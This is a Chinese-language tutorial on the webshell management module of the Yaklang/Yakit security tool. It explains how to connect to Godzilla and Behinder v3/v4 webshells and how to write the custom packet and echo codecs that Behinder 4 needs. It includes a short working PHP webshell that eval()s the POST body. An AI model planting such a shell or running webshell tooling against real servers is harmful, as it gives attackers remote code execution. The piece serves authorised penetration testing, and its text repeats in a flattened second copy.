ALL-IN-ONE 拼图补全计划之:Webshell 管理
字数 1097 2025-08-18 11:35:46

Yaklang Webshell 管理功能详解

一、功能概述

Yaklang v1.3.0 版本引入了试验性的网站管理功能,主要用于管理冰蝎(Behinder)、哥斯拉(Godzilla)等类型的Webshell。该功能提供了:

  • 存活探测
  • 获取基础信息
  • 命令执行
  • 部分文件管理功能

重要提示:使用前必须获取合法授权,仅用于管理自己拥有的网站。

二、支持的Webshell类型

1. 哥斯拉(Godzilla)管理

连接步骤

  1. 打开Yakit的"网站管理"模块
  2. 点击右上角"添加网站"
  3. 填写表单字段:
    • URL
    • 脚本类型
    • 密码/密钥
    • 其他必要参数

特点

  • 连接过程相对简单
  • 未来可能通过加载插件扩展功能

2. 冰蝎3(Behinder v3)管理

连接配置

  • URL:Webshell地址
  • 脚本类型:选择对应语言(如PHP、JSP等)
  • 密钥:与Webshell设置的密钥一致

特点

  • 默认使用AES/XOR加解密方式
  • 无需选择编解码器
  • 连接后可进行存活检测和基本信息查看

3. 冰蝎4(Behinder v4)管理

冰蝎4引入了自定义协议通讯,连接过程更为复杂,涉及编解码器的配置。

三、冰蝎4自定义协议详解

1. 通讯流程

  1. 本地加密:加密或编码请求包(Request)
  2. 远程解密:Webshell端解密或解码请求包
  3. 远程加密:Webshell端加密返回结果(Response)
  4. 本地解密:客户端解密返回结果

2. Yakit中的编解码器概念

Yakit使用两种编解码器:

  1. 数据包编解码器:处理HTTP请求和响应的body

    • 对应"本地加密"和"本地解密"
  2. 回显编解码器:处理Payload中的加解密函数

    • 对应"远程加密"和"远程解密"

3. 编解码器配置示例

数据包编解码器

编码器示例

wsmPacketEncoder = func(raw) {
    packet = "aaa" + string(raw) + "bbb"
    return []byte(packet)
}

对应Webshell解码器(PHP示例)

<?php
function Decrypt($data){
    $data = substr($data, 3, strlen($data) - 6);
    return $data;
}
$post = Decrypt(file_get_contents("php://input"));
eval($post);
?>

回显编解码器

编码器示例

wsmPayloadEncoder = func(reqBody) {
    return `function encrypt($data){ return strrev($data);}`
}

解码器示例

wsmPayloadDecoder = func(reqBody) {
    return string(reqBody).Reverse()
}

4. 连接冰蝎4的步骤

  1. 编写或选择数据包编解码器
  2. 编写或选择回显编解码器
  3. 在添加网站表单中:
    • 填写URL
    • 选择脚本类型
    • 选择配置好的编解码器
    • 密钥可随意填写(因为加解密已由编解码器处理)
  4. 连接后可进行代理监控,观察数据包

四、功能展望

  1. 可能采用YAML profile方式进行配置管理
  2. 计划将功能导出为yaklang库,便于代码中调用
  3. 持续完善网站管理模块功能

五、技术学习建议

建议深入研究冰蝎、哥斯拉的服务端实现,这些实现包含了许多值得学习的安全技术。可以通过它们的源码进行学习。

注意:本文仅介绍如何连接相关Webshell,实际应用中请确保遵守法律法规,仅用于合法授权的安全测试。

Yaklang Webshell 管理功能详解 一、功能概述 Yaklang v1.3.0 版本引入了试验性的网站管理功能,主要用于管理冰蝎(Behinder)、哥斯拉(Godzilla)等类型的Webshell。该功能提供了: 存活探测 获取基础信息 命令执行 部分文件管理功能 重要提示 :使用前必须获取合法授权,仅用于管理自己拥有的网站。 二、支持的Webshell类型 1. 哥斯拉(Godzilla)管理 连接步骤 : 打开Yakit的"网站管理"模块 点击右上角"添加网站" 填写表单字段: URL 脚本类型 密码/密钥 其他必要参数 特点 : 连接过程相对简单 未来可能通过加载插件扩展功能 2. 冰蝎3(Behinder v3)管理 连接配置 : URL:Webshell地址 脚本类型:选择对应语言(如PHP、JSP等) 密钥:与Webshell设置的密钥一致 特点 : 默认使用AES/XOR加解密方式 无需选择编解码器 连接后可进行存活检测和基本信息查看 3. 冰蝎4(Behinder v4)管理 冰蝎4引入了自定义协议通讯,连接过程更为复杂,涉及编解码器的配置。 三、冰蝎4自定义协议详解 1. 通讯流程 本地加密 :加密或编码请求包(Request) 远程解密 :Webshell端解密或解码请求包 远程加密 :Webshell端加密返回结果(Response) 本地解密 :客户端解密返回结果 2. Yakit中的编解码器概念 Yakit使用两种编解码器: 数据包编解码器 :处理HTTP请求和响应的body 对应"本地加密"和"本地解密" 回显编解码器 :处理Payload中的加解密函数 对应"远程加密"和"远程解密" 3. 编解码器配置示例 数据包编解码器 编码器示例 : 对应Webshell解码器(PHP示例) : 回显编解码器 编码器示例 : 解码器示例 : 4. 连接冰蝎4的步骤 编写或选择数据包编解码器 编写或选择回显编解码器 在添加网站表单中: 填写URL 选择脚本类型 选择配置好的编解码器 密钥可随意填写(因为加解密已由编解码器处理) 连接后可进行代理监控,观察数据包 四、功能展望 可能采用YAML profile方式进行配置管理 计划将功能导出为yaklang库,便于代码中调用 持续完善网站管理模块功能 五、技术学习建议 建议深入研究冰蝎、哥斯拉的服务端实现,这些实现包含了许多值得学习的安全技术。可以通过它们的源码进行学习。 注意 :本文仅介绍如何连接相关Webshell,实际应用中请确保遵守法律法规,仅用于合法授权的安全测试。